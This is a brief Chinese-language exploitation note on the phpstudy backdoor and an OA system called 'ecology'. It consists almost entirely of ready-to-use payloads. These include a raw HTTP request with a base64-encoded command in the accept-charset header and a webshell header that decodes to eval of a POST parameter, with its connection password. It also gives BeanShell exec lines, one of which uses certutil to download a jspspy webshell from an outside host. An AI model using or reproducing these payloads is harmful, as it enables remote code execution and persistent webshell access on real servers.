phpstudy漏洞检测方法

title:'phpstudy探针"

GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7
Accept-Encoding: gzip,deflate
Upgrade-Insecure-Requests: 1

1. accept-charset 后面是执行语句，经过base64编码过

   
   0.jpg
   1.jpg
2. 引用大佬的getshell方式(如有侵权立即删除)

http://sbd.ximcx.cn/OAandPHPstudy/

phpstudybackdoor无文件落地getshell（蚁剑连接）：
Accept-Encoding: gzip,deflate
Accept-Charset: ZXZhbCgkX1BPU1RbdDAwbHNdKTs=
密码：t00ls

某OA：Windows，Linux同理，只要把马放到\ecology\filesystem\下就行，测试原版菜刀马和jspspy马兼容性最好，连接地址：http://127.0.0.1/filesystem/jspspy.jsp
bsh.script=exec("cmd+/c+dir+..\ecology\filesystem\");
bsh.script=exec("certutil.exe -split -urlcache -f http://ximcx.cn/content/uploadfile/201807/jspspy.txt 盘符路径\ecology\filesystem\jspspy.jsp");